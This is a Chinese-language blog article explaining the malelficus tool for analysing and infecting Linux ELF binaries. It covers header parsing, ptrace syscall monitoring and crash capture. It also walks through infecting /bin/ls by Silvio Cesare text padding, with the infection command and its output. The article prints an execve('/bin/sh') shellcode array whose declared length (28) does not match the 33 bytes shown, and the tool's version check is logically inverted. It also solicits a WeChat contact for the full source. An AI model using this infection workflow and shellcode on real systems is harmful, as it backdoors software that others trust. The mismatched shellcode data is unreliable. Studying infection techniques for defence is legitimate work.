恶意软件分析工具:ELF二进制文件的感染与分析原理(C/C++代码实现)

在网络安全领域,分析恶意软件的行为、理解其感染机制是防御工作的重要环节。针对Linux系统中常见的ELF(可执行与可链接格式)二进制文件,有一类工具专门用于静态分析、动态监控以及模拟感染过程,帮助安全人员摸清恶意软件的"套路"。这类工具的设计思路融合了文件格式解析、系统监控、二进制操作等多种技术,今天我们就来聊聊它的核心原理。

一、工具能做什么?核心功能拆解

简单来说,这类工具主要围绕ELF文件做三件事:分析它、生成恶意代码片段、感染合法文件。具体拆解开有这些核心功能:

  1. 静态分析ELF文件

    就像拆机器看内部结构,工具会读取ELF文件的"说明书"------各种头部信息(比如文件头、程序头、节区头),检查是否有可疑的节区(比如权限异常的段)、异常的入口点(程序开始执行的位置不对),以此判断文件是否被篡改或本身就是恶意文件。

  2. 动态监控程序行为

    光看静态结构不够,还得让程序跑起来观察。工具会通过调试技术跟踪程序运行,记录它调用了哪些系统调用(比如读文件、创建进程、联网等),一旦发现危险操作(比如偷偷删除系统文件),就会提醒用户并让用户选择是否允许。

  3. 生成可植入的恶意代码片段(Shellcode)

    恶意软件要感染其他文件,需要一段能被执行的二进制代码(Shellcode)。工具可以把原始的二进制代码转换成不同格式(比如C语言字符串、纯二进制),方便嵌入到其他ELF文件中。

  4. 模拟感染ELF文件

    为了研究感染原理,工具能模拟恶意软件的行为:修改合法ELF文件的结构,比如添加一个新的节区存放恶意代码,再修改入口点让程序先执行恶意代码,最后跳回原程序继续运行,以此演示感染的全过程。

  5. 捕获程序崩溃信息

    恶意代码有时会因为编写不规范导致程序崩溃,工具能捕获崩溃时的信号(比如段错误、非法指令)、寄存器状态、调用栈等信息,帮助分析恶意代码的漏洞或触发条件。

二、核心功能的实现原理:大白话解释

1. 静态分析:靠"读说明书"找破绽

ELF文件就像一个按固定规则打包的文件夹,里面有描述文件属性的"封面"(文件头)、记录程序如何加载到内存的"加载指南"(程序头)、存放代码和数据的"子文件夹"(节区)。静态分析的核心就是按规则解析这些结构:

  • 解析头部信息:通过读取文件头(ELF Header)确定文件是32位还是64位、CPU架构等;通过程序头(Program Header)知道哪些部分会被加载到内存,权限是可读可写可执行还是仅可读;通过节区头(Section Header)定位代码段、数据段、符号表等。
  • 找可疑点:比如正常程序的代码段(.text)通常是"只读可执行",如果发现它有"可写"权限,就可能被篡改过;入口点地址如果指向一个不在代码段的位置,也可能藏了猫腻。

代码上会用结构体对应ELF的各种头部(比如Elf32_EhdrElf64_Phdr),通过文件读写操作把二进制数据映射到这些结构体中,再逐个字段检查。比如下面这段伪代码示意:

c 复制代码
// 打开ELF文件
FILE *elf_file = fopen("target.elf", "rb");
// 读取文件头
Elf64_Ehdr ehdr;
fread(&ehdr, sizeof(ehdr), 1, elf_file);
// 检查入口点是否在代码段
if (ehdr.e_entry < code_segment_start || ehdr.e_entry > code_segment_end) {
    printf("可疑入口点!");
}

2. 动态分析:像"监控摄像头"盯紧每一步

动态分析的关键是"跟踪程序运行",Linux下最常用的技术是ptrace系统调用------它能让一个进程(监控进程)控制另一个进程(被分析进程)的执行,比如暂停、查看寄存器、修改内存等。

工具的工作流程大概是这样:

  1. 启动被分析程序时,用fork创建子进程,子进程通过ptrace(PTRACE_TRACEME)让父进程监控自己;
  2. 父进程用ptrace拦截子进程的系统调用(比如每次子进程要调用open打开文件时,都会被暂停);
  3. 父进程检查系统调用的类型和参数(比如打开的文件名、操作权限),判断是否危险;
  4. 让用户选择允许、拒绝或记录该操作,再让子进程继续执行。

比如监控到unlink(删除文件)系统调用时,工具会弹出提示,让用户决定是否允许:

c 复制代码
// 拦截系统调用后,获取系统调用号
int syscall_num = ptrace(PTRACE_PEEKUSER, child_pid, ORIG_RAX * 8, 0);
if (syscall_num == SYS_UNLINK) {  // SYS_UNLINK是删除文件的系统调用号
    char *filename = get_filename_from_child(child_pid);  // 获取要删除的文件名
    printf("发现删除文件操作:%s,是否允许?", filename);
    // 根据用户输入决定是否让子进程继续
}

3. Shellcode生成:把"恶意代码"打包成可植入格式

Shellcode是一段能直接被CPU执行的二进制指令(比如打开终端、下载文件的代码)。但直接用二进制不方便嵌入其他文件,工具会把它转换成更易处理的格式:

  • 纯二进制格式:直接保存原始指令,适合直接写入ELF文件的节区;
  • C字符串格式 :把二进制转换成\x01\x02\x03这样的C语言转义字符串,方便在C代码中嵌入。

代码上就是读取原始二进制文件,逐个字节处理:

c 复制代码
// 生成C字符串格式的Shellcode
FILE *input = fopen("shellcode.bin", "rb");
FILE *output = fopen("shellcode_c.txt", "w");
unsigned char byte;
while (fread(&byte, 1, 1, input)) {
    fprintf(output, "\\x%02x", byte);  // 每个字节转成\xXX格式
}

4. ELF感染:给合法文件"插一脚"

感染ELF文件的核心是修改文件结构,让恶意代码先执行。常见思路有两种:

  • 修改入口点:找到ELF文件的入口点(程序开始执行的地址),先改成恶意代码的地址,等恶意代码执行完,再跳回原入口点;
  • 添加新节区:在ELF文件末尾加一个新的节区,放入恶意代码,再修改程序头让这个节区被加载到内存,最后调整入口点指向新节区。

工具会先解析ELF的程序头和节区头,计算新节区的位置和大小,再用文件操作写入恶意代码,最后更新头部信息确保系统能正确加载。

5. 崩溃捕获:记录"翻车现场"

恶意代码经常写得很粗糙,容易导致程序崩溃(比如访问不存在的内存地址)。工具通过捕获崩溃信号(如SIGSEGV段错误),收集当时的关键信息:

  • 崩溃时的信号类型和代码(比如是内存访问错误还是非法指令);
  • 寄存器状态(比如程序计数器PC的值,能定位到崩溃的代码位置);
  • 调用栈(能看出崩溃前执行了哪些函数)。

实现上用signal函数注册信号处理函数,一旦收到崩溃信号,就通过ptrace读取子进程的寄存器和内存信息,保存到日志文件中。

三、设计思路:怎么把这些功能串起来?

这类工具的设计遵循"模块化"和"分层处理"的思路,就像搭积木:

  1. 按功能拆模块:静态分析、动态分析、Shellcode处理、感染操作各自作为独立模块,模块间通过简单的接口传递数据(比如ELF文件路径、配置参数)。这样改一个功能不会影响其他模块,也方便扩展新功能(比如以后加一个"反编译"模块)。

  2. 依赖底层技术封装 :直接操作ELF文件、系统调用、ptrace这些底层功能很复杂,工具会封装一层通用函数(比如读取ELF头部的函数、解析系统调用的函数),上层模块直接调用,不用重复造轮子。

  3. 用户交互简单直观 :通过命令行参数控制功能(比如tool analyse -i target.elf分析文件,tool infect -i good.elf -m malware.bin感染文件),动态分析时用简单的菜单让用户选择操作(允许/拒绝/记录),降低使用门槛。

  4. 兼容多种场景 :考虑到ELF有32位和64位之分,工具会通过条件编译(比如#ifdef ELF64)处理不同格式;同时支持多种Shellcode格式、多种感染方式,适应不同的分析需求。

cpp 复制代码
...
#define DISSECT          "dissect"
#define SHELLCODE        "shellcode"
#define INFECT           "infect"
#define DYNAMIC_ANALYSIS "dynanalyse"
#define DISAS            "disas"
#define DATABASE         "database"
#define ANALYSE          "analyse"

static void _malelf_help()
{
        HELP("\n");
        HELP("Tool to infect and/or analyse ELF binary.\n");
        HELP("Usage: malelf <command> [-h] <options> \n");
        HELP("Commands:\n");
        HELP("         dissect \tShow ELF binary info. \n");
        HELP("         disas   \tDisassembly binary ELF in NASM compatible format.\n");
        HELP("         infect \tInfect the binary with a malware.\n");
        HELP("         shellcode \tcreate the virus shellcode in the proper format\n\
                       \tto use with the infect command.\n");
        HELP("         dynanalyse \tDinamically analyse the ELF binary for malwares.\n");
        HELP("         database \tStores ELF binary info in a database.\n");
        HELP("         analyse \tAnalyse ELF binary info in a database.\n");
        HELP("\n");
        exit(MALELF_SUCCESS);
}

void show_version(char *prog_name)
{
        printf("%s version %s (%s)\n", prog_name, VERSION, MALELFICUS_URL);
}

int main(int argc, char **argv)
{
...

        if (argc == 1) {
                _malelf_help();
                return -1;
        }

        if (strncmp(argv[1], DISSECT, sizeof(DISSECT)) == 0) {
                error = malelf_dissect_init(&dissect, argc, argv);
                malelf_dissect_finish(&dissect);
        } else if (strncmp(argv[1],
                           SHELLCODE,
                           sizeof (SHELLCODE)) == 0) {
                malelf_shellcode_init(argc, argv);
                malelf_shellcode_finish();
        } else if (strncmp(argv[1], INFECT, sizeof(INFECT)) == 0) {
                malelf_infect_init(&infect, argc, argv);
                malelf_infect_finish(&infect);
        } else if (strncmp(argv[1], DYNAMIC_ANALYSIS, sizeof(DYNAMIC_ANALYSIS)) == 0) {
                malelf_dynanalyse_init(argc, argv);
                malelf_dynanalyse_finish();
        } else if (strncmp(argv[1], DISAS, sizeof(DISAS)) == 0) {
                disas_init(&disas, argc, argv);
                disas_finish(&disas);
        } else if (strncmp(argv[1], DATABASE, sizeof(DATABASE)) == 0) {
                database_init(&database, argc, argv);
                database_finish(&database);
        } else if (strncmp(argv[1], ANALYSE, sizeof(ANALYSE)) == 0) {
                error = analyse_init(&analyse, argc, argv);
                analyse_finish(&analyse);
        } else if (strncmp(argv[1], "-v", 2) ||
                   strncmp(argv[1], "--version", 9)) {
                show_version(*argv);
        } else {
                _malelf_help();
        }

        if (MALELF_SUCCESS != error) {
                if (MALELF_ERROR != error) {
                        MALELF_PERROR(error);
                }

                return error;
        }

        return 0;
}

If you need the complete source code, please add the WeChat number (c17865354792)

分析系统自带的 ELF 文件

解析/bin/bash的ELF头文件:

bash 复制代码
$ malelf dissect -h
This command display information about the ELF binary.
Usage: malelf dissect <options>
-h, --help    	Dissect Help
-i, --input   	Binary File
-e, --ehdr    	Display ELF Header
-s, --shdr    	Display Section Header Table
-p, --phdr    	Display Program Header Table
-S, --stable  	Display Symbol Table
-f, --format  	Output Format (XML or Stdout). Default is Stdout.
-o, --output  	Output File.
Example: malelf dissect -i /bin/ls -f xml -o /tmp/binary.xml

$ malelf dissect -i /bin/bash --ehdr
+-----------------------------------------------------------------------------+
|                                  ELF Header                                 |
+------------------------+------------------------------+---------------------+
|   Structure Member     |         Description          |        Value        |
+------------------------+------------------------------+---------------------+
|        e_type          |         Object Type          |   Executable file   |
|       e_version        |           Version            |          1          |
|        e_entry         |         Entry Point          |     0x08064678      |
|        e_phoff         |         PHT Offset           |     0x00000034      |
|        e_shoff         |         SHT Offset           |     0x000e5864      |
|       e_ehsize         |       ELF Header Size        |         52          |
|      e_phentsize       |     Size of PHT entries      |         32          |
|        e_phnum         |    Number of PHT entries     |          9          |
|      e_shentsize       |  Size of one entry in SHT    |         40          |
|        e_shnum         |     Number of sections       |         28          |
|      e_shstrndx        |      SHT symbol index        |         27          |
+------------------------+------------------------------+---------------------+

要将XML格式的程序头表报告保存到文件bash_phdr.xml中,请使用以下命令:

bash 复制代码
$ malelf dissect -i /bin/bash --phdr -f xml -o ./bash_phdr.xml

infect 这个功能并非魔法,任何对ELF(可执行和链接格式)内部机制有基本了解的人都能自己实现。虽然有许多技术可以用来感染ELF二进制文件,但malelficus目前只实现了一种,即silvio cesare文本填充。

使用这种技术感染ELF二进制文件并生成恶意ELF文件非常简单,但首先我们需要恶意软件载荷(或外壳代码)。由于法律问题,我们无法共享我们的Unix恶意软件样本数据集,但该项目中有一个包含基本汇编文件的示例目录,

bash 复制代码
 nasm -f bin message32.asm -o message32.bin

目前,你可以使用以下命令来感染你的/bin/ls:

bash 复制代码
$ malelf infect -h
This command is used to assist in the process of binary infection.
Usage: malelf infect <options>
-h, --help    		Infect Help
-i, --input   		Input host file
-o, --output  		Output infected file
-m, --malware 		FLAT binary malware.
-f, --offset-return	Offset in shellcode to patch the host entrypoint
-a, --auto-shellcode	Automatically patch shellcode with host entrypoint
-t, --technique  	Technique to infect.
-l, --list       	List techniques.
Example: malelf infect -i /bin/ls -o myls -m evil.bin -t 'silvio-text-padding'

$ malelf infect -i /bin/ls -o ./myls -m ./message32.bin -t silvio-text-padding -a
[+] Infecting by silvio cesare technique (text-padding)
[+] binary input: '/bin/ls', size: 112700 bytes
[+] binary output: './myls'
[+] malware payload: './message32.bin', size: 48 bytes

[+] Payload shellcode automatically created, magic bytes at '0x0031'
[+] Successfully infected.

成功感染 =) 要测试,请运行本地已感染的ls:

bash 复制代码
$ ./myls
OWNED BY I4K
backdoor.asm  backdoor.bin  daniel-ls  message32.asm  message32.bin  message64.asm
myls  syscall.inc.asm  util.inc.asm

要获取所有可用的感染技术,请使用:

bash 复制代码
$ malelf infect -l
List of infect techniques supported:

0 - silvio-text-padding

Shellcode 生成功能

生成一段简单的 Shellcode(如执行/bin/sh)

bash 复制代码
# 生成C字符串格式的Shellcode
./malelf  shellcode -f c -o shellcode.c

生成的shellcode.c内容示例:

c 复制代码
// Generated Shellcode (x86_64)
unsigned char shellcode[] = 
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\xb8\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f"
"\x05";
unsigned int shellcode_len = 28;

将二进制 Shellcode 转换为 C 语言可嵌入的字符串格式;

动态分析功能(监控程序行为)

监控测试程序的系统调用

bash 复制代码
# 动态分析test_crash程序(即使崩溃,也会先监控系统调用)
./malelf   dynanalyse ./test_crash

还有一些这里就不举例了。

四、相关领域知识点:这些技术支撑了工具的实现

要理解这类工具,需要了解几个关键领域的知识:

  • ELF文件格式:这是基础,必须知道文件头、程序头、节区头的结构和作用,以及程序如何被加载到内存。
  • 系统调用 :Linux程序通过系统调用与内核交互(比如读写文件、创建进程),了解常见系统调用的功能(如execve执行程序、connect联网)是动态分析的关键。
  • 调试技术ptrace系统调用是动态监控的核心,需要知道如何用它跟踪进程、拦截系统调用、读写寄存器和内存。
  • 二进制操作 :包括文件读写、内存映射(mmap)、字节序转换等,用于解析ELF文件和生成Shellcode。
  • 信号处理:Linux用信号通知进程事件(如崩溃、中断),捕获和解析信号是崩溃处理的基础。

总结

这类工具本质上是ELF文件格式、系统底层技术、安全分析思路的结合体。通过静态解析找结构异常,通过动态跟踪看行为可疑,通过生成和植入Shellcode模拟攻击,最终帮助安全人员理解恶意软件的工作方式。对于学习网络安全的人来说,理解它的原理不仅能掌握分析工具的用法,更能深入了解Linux系统的运行机制和恶意软件的攻击思路------毕竟,知己知彼才能更好地防御。

Welcome to follow WeChat official account【程序猿编码

相关推荐
资深低代码开发平台专家1 小时前
通用编程时代正在向专用化分层演进
java·大数据·c语言·c++·python
Wild_Pointer.1 小时前
项目实战:使用QCustomPlot实现多窗口绘制数据(支持GPU加速)
c++·qt·gpu算力
June`2 小时前
C++11新特性全面解析(二):线程库+异常体系
开发语言·c++
laufing2 小时前
pycparser解析C代码构建AST
c语言·python·ast
Fcy6482 小时前
C++ 多态详解
c++·多态
bleach-2 小时前
buuctf系列解题思路祥讲-[MRCTF2020]Ez_bypass1
安全·web安全·网络安全·系统安全
Mr_WangAndy2 小时前
C++23新特性_多维下标运算符
c++·c++23·c++40周年·多维下标运算符
李日灐2 小时前
C++STL: vector 简单使用,讲解
开发语言·c++
明洞日记2 小时前
【VTK手册017】 深入详解 vtkImageMathematics:医学图像的基本算术运算
c++·图像处理·算法·vtk·图形渲染